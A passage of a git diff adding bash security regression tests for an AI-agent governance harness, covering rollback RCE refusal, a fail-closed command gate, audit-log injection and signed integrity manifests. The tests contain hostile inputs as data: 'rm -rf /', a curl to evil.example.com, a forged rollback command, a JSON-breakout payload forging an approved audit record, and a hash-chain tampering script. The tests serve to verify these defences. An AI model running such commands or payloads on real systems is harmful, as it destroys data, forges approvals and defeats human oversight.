model/app/network. Hermetic tx log via a temp workspace. + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +RM="$PROJECT_ROOT/.specify/scripts/bash/rollback-manager.sh" +TX_LOG="$PROJECT_ROOT/.specify/logs/level5/rollback-transactions.jsonl" +WORK="$(mktemp -d)" + +# rollback-manager uses a fixed tx-log path; back it up and restore on exit. +[[ -f "$TX_LOG" ]] && cp -p "$TX_LOG" "$WORK/tx.bak" +restore_tx() { if [[ -f "$WORK/tx.bak" ]]; then cp -p "$WORK/tx.bak" "$TX_LOG"; else rm -f "$TX_LOG"; fi; } +trap 'restore_tx; rm -f "$WORK/PWNED"; rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-03: rollback-manager no bash -c (RCE) =====" + +# 1) Regression: genuine checkpoint -> execute restores exact content. +TARGET="$WORK/plan.txt"; echo "ORIGINAL" > "$TARGET" +TX="$(bash "$RM" checkpoint "$TARGET" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')" +echo "OVERWRITTEN" > "$TARGET" +bash "$RM" execute "$TX" >/dev/null 2>&1 +[[ "$(cat "$TARGET")" == "ORIGINAL" ]] \ + && pass "genuine checkpoint restores exact pre-overwrite content" \ + || fail "checkpoint did not restore (got: $(cat "$TARGET"))" + +# 2) Fail-able: forged free-form record carrying an RCE payload must be REFUSED. +rm -f "$WORK/PWNED" +python3 - "$TX_LOG" "$WORK/PWNED" <<'PY' +import json, sys +log, marker = sys.argv[1], sys.argv[2] +open(log, "a", encoding="utf-8").write(json.dumps({ + "transaction_id": "evil-rce", "action": "checkpoint", + "rollback_command": f"touch {marker}"}) + "\n") +PY +RC="$(rc_of bash "$RM" execute evil-rce)" +if [[ "$RC" -ne 0 && ! -f "$WORK/PWNED" ]]; then + pass "forged free-form rollback_command REFUSED, no code executed (rc=$RC)" +else + fail "RCE not prevented (rc=$RC, marker exists=$([[ -f "$WORK/PWNED" ]] && echo yes || echo no))" +fi + +# 3) Fail-able: forged restore_file whose backup is outside the controlled dir. +SECRET="$WORK/secret.txt"; echo "SECRET" > "$SECRET" +python3 - "$TX_LOG" "$SECRET" "$WORK/stolen.txt" <<'PY' +import json, sys +log, backup, target = sys.argv[1], sys.argv[2], sys.argv[3] +open(log, "a", encoding="utf-8").write(json.dumps({ + "transaction_id": "evil-src", "action": "checkpoint", "op": "restore_file", + "backup": backup, "target": target}) + "\n") +PY +RC="$(rc_of bash "$RM" execute evil-src)" +if [[ "$RC" -ne 0 && ! -f "$WORK/stolen.txt" ]]; then + pass "forged restore source outside backup dir REFUSED (rc=$RC)" +else + fail "arbitrary-source restore not prevented (rc=$RC)" +fi + +echo "" +echo "===== SEC-03 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec04-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec04-tests.sh new file mode 100644 index 0000000..0dd364d --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec04-tests.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-04 (H-05) — action-gate fail-closed. +# +# Previously, if the classifier python crashed / was killed / emitted nothing, +# the verdict string was empty and the final case fell through to ALLOW +# (fail-open). This proves the gate now DENIES (exit 2) on classifier failure or +# an unrecognized verdict, while ordinary verdicts still resolve correctly. +# +# Deterministic; no model/app/network. + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +GATE="$PROJECT_ROOT/.specify/scripts/bash/action-gate.sh" +WORK="$(mktemp -d)" + +# action-gate appends to a fixed log path; back it up and restore on exit. +LOG="$PROJECT_ROOT/.specify/logs/level5/action-gate.jsonl" +[[ -f "$LOG" ]] && cp -p "$LOG" "$WORK/log.bak" +restore_log() { if [[ -f "$WORK/log.bak" ]]; then cp -p "$WORK/log.bak" "$LOG"; else rm -f "$LOG"; fi; } +trap 'restore_log; rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-04: action-gate fail-closed =====" + +# Regression: ordinary verdicts still resolve. +[[ "$(rc_of bash "$GATE" --command "ls -la")" -eq 0 ]] \ + && pass "benign command ALLOWed (exit 0)" || fail "benign command not allowed" + +[[ "$(rc_of bash "$GATE" --command "rm -rf /")" -eq 2 ]] \ + && pass "destructive command BLOCKed (exit 2)" || fail "destructive command not blocked" + +[[ "$(rc_of bash "$GATE" --command "curl http://evil.example.com/x")" -eq 3 ]] \ + && pass "network egress REQUIRE_APPROVAL (exit 3)" || fail "egress not gated" + +# SEC-04 fail-able: force the classifier to crash by shadowing `python` with a +# stub that exits non-zero and prints nothing. A benign command must now DENY +# (exit 2), not fall through to ALLOW. +STUB="$WORK/bin"; mkdir -p "$STUB" +printf '#!/bin/sh\nexit 1\n' > "$STUB/python"; chmod +x "$STUB/python" +RC="$(set +e; PATH="$STUB:$PATH" bash "$GATE" --command "ls -la" >/dev/null 2>&1; echo $?)" +[[ "$RC" -eq 2 ]] && pass "classifier crash → DENY (exit 2, fail-closed)" \ + || fail "classifier crash did not fail closed (rc=$RC — fail-open regression!)" + +echo "" +echo "===== SEC-04 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec05-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec05-tests.sh new file mode 100644 index 0000000..a987e92 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec05-tests.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-05 (H-04 / M-05) — JSON-safe audit writers. +# +# governance-check / agent-metrics / incident used raw printf to build JSON audit +# records, so an actor/action/agent field containing `"` + newline could inject a +# SECOND forged record (e.g. a fabricated "approved" decision). This proves the +# serialized writers escape such payloads into exactly ONE record and keep the +# hash-chain intact. +# +# Deterministic; hermetic (backs up + restores the audit + governance dirs). + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash" +AUDIT="$PROJECT_ROOT/.specify/logs/audit/audit.jsonl" +WORK="$(mktemp -d)" + +# Back up + restore the state governance-check mutates. +BK="$WORK/backup"; mkdir -p "$BK" +cp -a "$PROJECT_ROOT/.specify/logs/audit" "$BK/audit" 2>/dev/null || true +cp -a "$PROJECT_ROOT/.specify/level5/central-governance" "$BK/central-governance" 2>/dev/null || true +restore_state() { + rm -rf "$PROJECT_ROOT/.specify/logs/audit"; cp -a "$BK/audit" "$PROJECT_ROOT/.specify/logs/audit" 2>/dev/null || true + rm -rf "$PROJECT_ROOT/.specify/level5/central-governance"; cp -a "$BK/central-governance" "$PROJECT_ROOT/.specify/level5/central-governance" 2>/dev/null || true +} +trap 'restore_state; rm -rf "$WORK"' EXIT + +export CASAN_AUDIT_KEY_DIR="$WORK/keys" # fresh key dir (avoid CI key-sync flake) + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } + +echo "===== Plan-16 SEC-05: JSON-safe audit writers =====" + +echo "hello world" > "$WORK/in.txt" + +# A payload that, under raw printf, would break out of the action field and append +# a forged "approved" audit record on a new line. +PAYLOAD='evil","decision":"approved","approver":"ATTACKER +{"timestamp":"forged","action":"pwned","record_hash":"deadbeef"}' + +BEFORE=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ') +set +e +bash "$BASH_DIR/governance-check.sh" "$WORK/in.txt" "$WORK/out.txt" "$PAYLOAD" >/dev/null 2>&1 +set -e 2>/dev/null || true +AFTER=$(wc -l < "$AUDIT" 2>/dev/null | tr -d ' ') +ADDED=$((AFTER - BEFORE)) + +[[ "$ADDED" -eq 1 ]] \ + && pass "injection payload produced exactly ONE audit record (added=$ADDED)" \ + || fail "expected 1 record, got $ADDED (raw-printf injection regression!)" + +# The stored action field must round-trip the FULL payload (escaped, not truncated). +ROUNDTRIP="$(python3 - "$AUDIT" <<'PY' +import json, sys +last = [l for l in open(sys.argv[1], encoding="utf-8") if l.strip()][-1] +print(json.loads(last).get("action", "")) +PY +)" +[[ "$ROUNDTRIP" == "$PAYLOAD" ]] \ + && pass "action field round-trips the exact payload (escaped, not truncated)" \ + || fail "action field mangled — escaping wrong" + +# No forged record: the chain must still verify, and no record may claim the +# fabricated hash 'deadbeef'. +bash "$BASH_DIR/verify-audit-chain.sh" "$AUDIT" >/dev/null 2>&1 \ + && pass "audit chain still verifies after injection attempt" \ + || fail "chain broken after injection (record_hash mismatch)" + +grep -q '"record_hash":"deadbeef"\|"record_hash": "deadbeef"' "$AUDIT" \ + && fail "forged record with attacker hash present in audit log" \ + || pass "no forged record injected into audit log" + +echo "" +echo "===== SEC-05 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec06-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec06-tests.sh new file mode 100644 index 0000000..fb67a38 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec06-tests.sh @@ -0,0 +1,78 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-06 (H-06) — control-plane audit head is SIGNED. +# +# The control-plane audit chain is a recomputable hash chain: a file-writer who +# edits the store could recompute every hash and the chain-only `verify-audit` +# would still PASS, so governance-report would falsely report CERTIFIED. Signing +# the head with an off-repo key closes this: +# * an intact signed store verifies (permissive + strict), +# * a recompute-tampered store FAILS (signature no longer matches the head), +# * a fully unsigned store FAILS in enforced mode (governance-report inherits +# CASAN_PROFILE=prod, so a certified run demands a signature). +# +# Deterministic; hermetic (temp store + temp keys + temp pubkey). + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +CP="$PROJECT_ROOT/.specify/scripts/bash/control-plane-settings.py" +WORK="$(mktemp -d)" +trap 'rm -rf "$WORK"' EXIT + +export CASAN_CP_STORE_FILE="$WORK/store.json" +export CASAN_CP_KEY_DIR="$WORK/keys" +export CASAN_CP_PUB="$WORK/cp-public.pem" # provisioned out-of-band (attacker cannot rewrite in this test) + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-06: control-plane audit head signed =====" + +python3 "$CP" set compression.enabled true --actor a@x --reason r >/dev/null 2>&1 +python3 "$CP" set compression.mode structural --actor a@x --reason r >/dev/null 2>&1 + +[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \ + && pass "intact signed store verifies (permissive)" || fail "intact store rejected" +[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -eq 0 ]] \ + && pass "intact signed store verifies (strict)" || fail "intact store rejected in strict" + +# Recompute-attack: tamper a value AND recompute the entire hash chain so it is +# internally consistent. The head signature (over the original head) must not match. +python3 - "$CASAN_CP_STORE_FILE" <<'PY' +import hashlib, json, sys +p = sys.argv[1]; d = json.load(open(p)) +d["settings"]["compression.enabled"]["value"] = False +prev = "0" * 64 +def he(e): return hashlib.sha256(json.dumps(e, sort_keys=True, ensure_ascii=False).encode()).hexdigest() +for e in d["audit"]: + if e.get("key") == "compression.enabled" and e.get("action") == "set": + e["value"] = False + rest = {k: v for k, v in e.items() if k != "hash"}; rest["prevHash"] = prev + for k in list(e): + if k != "hash": e[k] = rest[k] + e["hash"] = he(rest); prev = e["hash"] +json.dump(d, open(p, "w"), indent=2) +PY +[[ "$(rc_of python3 "$CP" verify-audit)" -ne 0 ]] \ + && pass "recompute-tampered store FAILS (head signature mismatch)" \ + || fail "recompute attack passed verification (H-06 not closed!)" + +# Keyless attacker: delete the signature artifacts entirely. Enforced mode (what a +# certified run / prod profile uses) must reject an unsigned store; dev stays lax. +rm -f "$CASAN_CP_STORE_FILE.head" "$CASAN_CP_STORE_FILE.head.sig" "$CASAN_CP_PUB" +# rebuild a clean, internally-valid but UNSIGNED store (fresh sets would re-sign, so +# strip the signature after): easiest is to reuse the tampered chain which is +# internally valid; with sig files gone it is "unsigned". +[[ "$(rc_of env CASAN_VERIFY_STRICT=1 python3 "$CP" verify-audit)" -ne 0 ]] \ + && pass "unsigned store FAILS in enforced mode (prod / certified run)" \ + || fail "unsigned store accepted in enforced mode" +[[ "$(rc_of python3 "$CP" verify-audit)" -eq 0 ]] \ + && pass "unsigned store still OK in permissive dev mode (backward compat)" \ + || fail "permissive mode wrongly rejected unsigned store" + +echo "" +echo "===== SEC-06 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec16-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec16-tests.sh new file mode 100644 index 0000000..217f0b8 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec16-tests.sh @@ -0,0 +1,79 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-16 (ARCH-01) — signed harness + policy bundle. +# +# Editing a gate or policy file (security-check.sh, prompt-filter.yaml, +# thresholds.yaml, *.pin, reviewers.registry) disables a control with no input +# trace. The signed bundle manifest binds the harness code + policy; the harness +# verifies its self-hash and refuses on drift. Proves: +# * intact bundle verifies (permissive + strict/signed), +# * a 1-byte edit to a gate script → verify FAIL (drift), +# * a new unmanifested policy file → verify FAIL, +# * a tampered manifest → verify FAIL (signature invalid), +# * casan-harness in prod REFUSES to run when the bundle has drifted. +# +# Deterministic; hermetic (temp bundle root + temp keys/manifest). + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash" +BI="$BASH_DIR/bundle-integrity.py" +WORK="$(mktemp -d)" +trap 'rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-16: signed harness + policy bundle =====" + +# --- Tool-level (hermetic temp bundle) --- +ROOT="$WORK/root"; mkdir -p "$ROOT/scripts/bash" "$ROOT/config" +echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh" +echo 'block: [rm -rf]' > "$ROOT/config/prompt-filter.yaml" +export CASAN_BUNDLE_ROOT="$ROOT" CASAN_BUNDLE_MANIFEST="$WORK/m.json" +export CASAN_BUNDLE_KEY_DIR="$WORK/keys" CASAN_BUNDLE_PUB="$WORK/b.pub" + +python3 "$BI" generate >/dev/null 2>&1 +[[ "$(rc_of python3 "$BI" verify)" -eq 0 ]] && pass "intact bundle verifies" || fail "intact verify failed" +[[ "$(rc_of python3 "$BI" verify --strict)" -eq 0 ]] && pass "intact bundle verifies (strict/signed)" || fail "strict verify failed" + +echo 'echo gate; echo BACKDOOR' > "$ROOT/scripts/bash/security-check.sh" +[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "1-byte gate edit → FAIL (drift)" || fail "drift not detected" + +echo 'echo gate' > "$ROOT/scripts/bash/security-check.sh" # restore +echo 'x: 1' > "$ROOT/config/thresholds.yaml" # add unmanifested policy +[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "unmanifested policy file → FAIL" || fail "unmanifested not detected" + +rm -f "$ROOT/config/thresholds.yaml"; python3 "$BI" generate >/dev/null 2>&1 +python3 - "$WORK/m.json" <<'PY' +import json, sys +d = json.load(open(sys.argv[1])); k = list(d["files"]); d["files"][k[0]] = "0" * 64 +json.dump(d, open(sys.argv[1], "w")) +PY +[[ "$(rc_of python3 "$BI" verify)" -ne 0 ]] && pass "tampered manifest → FAIL (signature invalid)" || fail "manifest tamper not detected" + +unset CASAN_BUNDLE_ROOT CASAN_BUNDLE_MANIFEST CASAN_BUNDLE_KEY_DIR CASAN_BUNDLE_PUB + +# --- Harness-level: prod run refuses on bundle drift --- +HROOT="$WORK/hroot"; mkdir -p "$HROOT/scripts/bash" +echo 'echo gate' > "$HROOT/scripts/bash/security-check.sh" +env CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \ + CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \ + python3 "$BI" generate >/dev/null 2>&1 +echo 'echo gate; echo BACKDOOR' > "$HROOT/scripts/bash/security-check.sh" # drift the bundle + +echo "hi" > "$WORK/in.txt" +OUT="$(set +e; env CASAN_PROFILE=prod CASAN_KILLSWITCH_DIR="$WORK/noks" \ + CASAN_BUNDLE_ROOT="$HROOT" CASAN_BUNDLE_MANIFEST="$WORK/hm.json" \ + CASAN_BUNDLE_KEY_DIR="$WORK/hkeys" CASAN_BUNDLE_PUB="$WORK/h.pub" \ + bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)" +echo "$OUT" | grep -q "BUNDLE_INTEGRITY_DRIFT" \ + && pass "casan-harness (prod) REFUSES to run on bundle drift" \ + || fail "harness did not refuse on bundle drift" + +echo "" +echo "===== SEC-16 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec17-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec17-tests.sh new file mode 100644 index 0000000..31f6a3f --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec17-tests.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-17 (ARCH-03) — CASAN_PROFILE=prod is secure-by-default. +# +# Many strong controls were opt-in env flags (off unless explicitly set), so a +# lazy operator ran permissively. Under CASAN_PROFILE=prod they now default ON — +# while an explicit `=0` still wins (internal scans that disable a flag on purpose +# must stay disabled). Proven across three real controls: +# * verify-audit-chain: unsigned chain fails under prod, +# * control-plane verify-audit: unsigned store fails under prod, +# * casan-harness kill-switch: engaged switch is enforced under prod, but an +# explicit CASAN_KILLSWITCH_ENFORCE=0 overrides. +# +# Deterministic; hermetic (temp dirs); no model/network. + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +BASH_DIR="$PROJECT_ROOT/.specify/scripts/bash" +WORK="$(mktemp -d)" +trap 'rm -rf "$WORK"' EXIT + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-17: CASAN_PROFILE=prod secure-by-default =====" + +# --- Control 1: verify-audit-chain (unsigned) --- +AUD="$WORK/audit"; mkdir -p "$AUD" +python3 - "$AUD/audit.jsonl" <<'PY' +import hashlib, json, sys +core = "|".join(["2026-07-06T00:00:00Z","t1","act","a@x","low","ALLOW","n/a","","ih","oh",""]) +h = hashlib.sha256(core.encode()).hexdigest() +open(sys.argv[1],"w").write(json.dumps({"timestamp":"2026-07-06T00:00:00Z","trace_id":"t1","action":"act", + "actor":"a@x","risk_level":"low","decision":"ALLOW","approval_status":"n/a","approver":"", + "input_hash":"ih","output_hash":"oh","previous_record_hash":"","record_hash":h})+"\n") +PY +[[ "$(rc_of bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -eq 0 ]] \ + && pass "verify-audit-chain: permissive default allows unsigned" || fail "permissive should allow unsigned" +[[ "$(rc_of env CASAN_PROFILE=prod bash "$BASH_DIR/verify-audit-chain.sh" "$AUD/audit.jsonl")" -ne 0 ]] \ + && pass "verify-audit-chain: prod profile enforces (unsigned FAILS)" || fail "prod did not enforce audit-chain" + +# --- Control 2: control-plane verify-audit (unsigned store) --- +export CASAN_CP_STORE_FILE="$WORK/cp.json" CASAN_CP_KEY_DIR="$WORK/cpkeys" CASAN_CP_PUB="$WORK/cp.pub" +python3 "$BASH_DIR/control-plane-settings.py" set compression.enabled true --actor a --reason r >/dev/null 2>&1 +rm -f "$WORK/cp.json.head" "$WORK/cp.json.head.sig" "$WORK/cp.pub" # strip the signature -> unsigned store +[[ "$(rc_of python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -eq 0 ]] \ + && pass "control-plane: permissive default allows unsigned store" || fail "permissive should allow unsigned store" +[[ "$(rc_of env CASAN_PROFILE=prod python3 "$BASH_DIR/control-plane-settings.py" verify-audit)" -ne 0 ]] \ + && pass "control-plane: prod profile enforces (unsigned store FAILS)" || fail "prod did not enforce control-plane" +unset CASAN_CP_STORE_FILE CASAN_CP_KEY_DIR CASAN_CP_PUB + +# --- Control 3: casan-harness kill-switch (prod-on + explicit-0-wins) --- +export CASAN_KILLSWITCH_DIR="$WORK/ks" +echo "hi" > "$WORK/in.txt" +bash "$BASH_DIR/kill-switch.sh" engage project sec17 "test" >/dev/null 2>&1 + +OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \ + bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o.txt" act -- bash -c 'echo x' 2>&1)" +echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \ + && pass "kill-switch: prod profile enforces an engaged switch (no explicit flag)" \ + || fail "prod profile did not enforce kill-switch" + +OUT="$(set +e; CASAN_PROFILE=prod CASAN_KILLSWITCH_ENFORCE=0 CASAN_KILLSWITCH_SCOPE=project CASAN_KILLSWITCH_ID=sec17 \ + bash "$BASH_DIR/casan-harness.sh" "$WORK/in.txt" "$WORK/o2.txt" act -- bash -c 'echo x' 2>&1)" +echo "$OUT" | grep -q "KILL_SWITCH_ACTIVE" \ + && fail "explicit CASAN_KILLSWITCH_ENFORCE=0 was overridden by prod (should win)" \ + || pass "kill-switch: explicit =0 overrides prod default (internal opt-out preserved)" + +echo "" +echo "===== SEC-17 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/phase-sec18-tests.sh b/AINative_OKR_CASAN5/.specify/tests/phase-sec18-tests.sh new file mode 100644 index 0000000..9d62c71 --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/phase-sec18-tests.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash +set -uo pipefail + +# CASAN Plan-16 SEC-18 (ARCH-02) — test-integrity manifest. +# +# Test suites are in the same repo an attacker can edit, so "green" proves nothing +# if a fail-able check was quietly deleted. The signed manifest records per-suite +# hash + fail-able-check count; CI re-verifies. This proves: +# * intact suites verify (permissive + strict/signed), +# * deleting a fail-able check -> FAIL (coverage regression), +# * removing a whole suite -> FAIL (suite removed), +# * tampering the manifest -> FAIL (signature invalid). +# +# Deterministic; hermetic (operates on a temp copy of the test dir). + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +TI="$PROJECT_ROOT/.specify/scripts/bash/test-integrity.py" +WORK="$(mktemp -d)" +trap 'rm -rf "$WORK"' EXIT + +mkdir -p "$WORK/tests" +cp "$PROJECT_ROOT/.specify/tests/phase-sec01-tests.sh" \ + "$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/" +export CASAN_TESTS_DIR="$WORK/tests" +export CASAN_TEST_MANIFEST="$WORK/manifest.json" +export CASAN_TI_KEY_DIR="$WORK/keys" +export CASAN_TI_PUB="$WORK/ti.pub" + +PASS=0; FAIL=0 +pass() { echo "PASS: $1"; PASS=$((PASS + 1)); } +fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); } +rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; } + +echo "===== Plan-16 SEC-18: test-integrity manifest =====" + +python3 "$TI" generate >/dev/null 2>&1 +[[ "$(rc_of python3 "$TI" verify)" -eq 0 ]] \ + && pass "intact suites verify" || fail "intact verify failed" +[[ "$(rc_of python3 "$TI" verify --strict)" -eq 0 ]] \ + && pass "intact suites verify under --strict (signed)" || fail "strict verify failed on signed manifest" + +# Delete one fail-able check line from a suite. +python3 - "$WORK/tests/phase-sec01-tests.sh" <<'PY' +import re, sys +p = sys.argv[1] +lines = open(p, encoding="utf-8").read().splitlines(keepends=True) +out, removed = [], False +for ln in lines: + if not removed and 'pass "' in ln: + removed = True # drop the first assertion line + continue + out.append(ln) +open(p, "w", encoding="utf-8").write("".join(out)) +PY +[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \ + && pass "deleting a fail-able check → FAIL (coverage regression)" \ + || fail "coverage regression not detected" + +# Restore, then remove an entire suite. +python3 "$TI" generate >/dev/null 2>&1 +rm -f "$WORK/tests/phase-control-plane-tests.sh" +[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \ + && pass "removing a whole suite → FAIL (suite removed)" \ + || fail "suite removal not detected" + +# Restore, then tamper the manifest content (without re-signing). +cp "$PROJECT_ROOT/.specify/tests/phase-control-plane-tests.sh" "$WORK/tests/" +python3 "$TI" generate >/dev/null 2>&1 +python3 - "$WORK/manifest.json" <<'PY' +import json, sys +p = sys.argv[1]; d = json.load(open(p)) +# lower a recorded count so a later real drop would pass — the signature must catch this +for name in d["suites"]: + d["suites"][name]["checks"] = 0 +json.dump(d, open(p, "w"), indent=2) +PY +[[ "$(rc_of python3 "$TI" verify)" -ne 0 ]] \ + && pass "tampering the manifest → FAIL (signature invalid)" \ + || fail "manifest tamper not detected by signature" + +echo "" +echo "===== SEC-18 SUMMARY: PASS=$PASS FAIL=$FAIL =====" +[[ "$FAIL" -eq 0 ]] || exit 1 diff --git a/AINative_OKR_CASAN5/.specify/tests/run-casan4-harness-tests.sh b/AINative_OKR_CASAN5/.specify/tests/run-casan4-harness-tests.sh index 6a72fd8..cd13489 100755 --- a/AINative_OKR_CASAN5/.specify/tests/run-casan4-harness-tests.sh +++ b/AINative_OKR_CASAN5/.specify/tests/run-casan4-harness-tests.sh @@ -223,11 +223,16 @@ bash "$SCRIPTS/sign-audit-head.sh" "$PROJECT_ROOT/.specify/logs/audit/audit.json "$SCRIPTS/verify-tool-audit.sh" "$PROJECT_ROOT/.specify/logs/audit/tool-calls.jsonl" > "$LEVEL5_DIR/11c-tool-audit-verify.stdout" assert_contains "$LEVEL5_DIR/11c-tool-audit-verify.stdout" "TOOL_AUDIT_VALID" -# L5: rollback transaction record and execute +# L5: rollback transaction — checkpoint a file and execute a genuine restore. +# SEC-03 (H-03): `execute` runs only whitelisted STRUCTURED ops (no `bash -c`), so +# rollback is exercised via `checkpoint` (the safe path) rather than a free-form +# recorded shell command. The marker starts at the state we expect restored. ROLLBACK_MARKER="$LEVEL5_DIR/13-rollback-marker.txt" -ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" record deploy "printf rolled_back > '$ROLLBACK_MARKER'")" +printf 'rolled_back' > "$ROLLBACK_MARKER" +ROLLBACK_RECORD="$("$SCRIPTS/rollback-manager.sh" checkpoint "$ROLLBACK_MARKER")" printf '%s\n' "$ROLLBACK_RECORD" > "$LEVEL5_DIR/13-rollback-record.stdout" -TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=//p')" +TX_ID="$(printf '%s\n' "$ROLLBACK_RECORD" | sed -n 's/.*transaction_id=\([^ ]*\).*/\1/p')" +printf 'MODIFIED_AFTER_CHECKPOINT' > "$ROLLBACK_MARKER" "$SCRIPTS/rollback-manager.sh" execute "$TX_ID" > "$LEVEL5_DIR/13-rollback-execute.stdout" assert_contains "$ROLLBACK_MARKER" "rolled_back" diff --git a/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json new file mode 100644 index 0000000..0d06b9e --- /dev/null +++ b/AINative_OKR_CASAN5/.specify/tests/test-integrity-manifest.json @@ -0,0 +1,138 @@ +{ + "suites": { + "adversarial-harness-tests.sh": { + "sha256": "3cedc614214045ea3c58ab4ddb018ed7e69e2a9051ee1dd5f7228258ba2417a7", + "checks": 41 + }, + 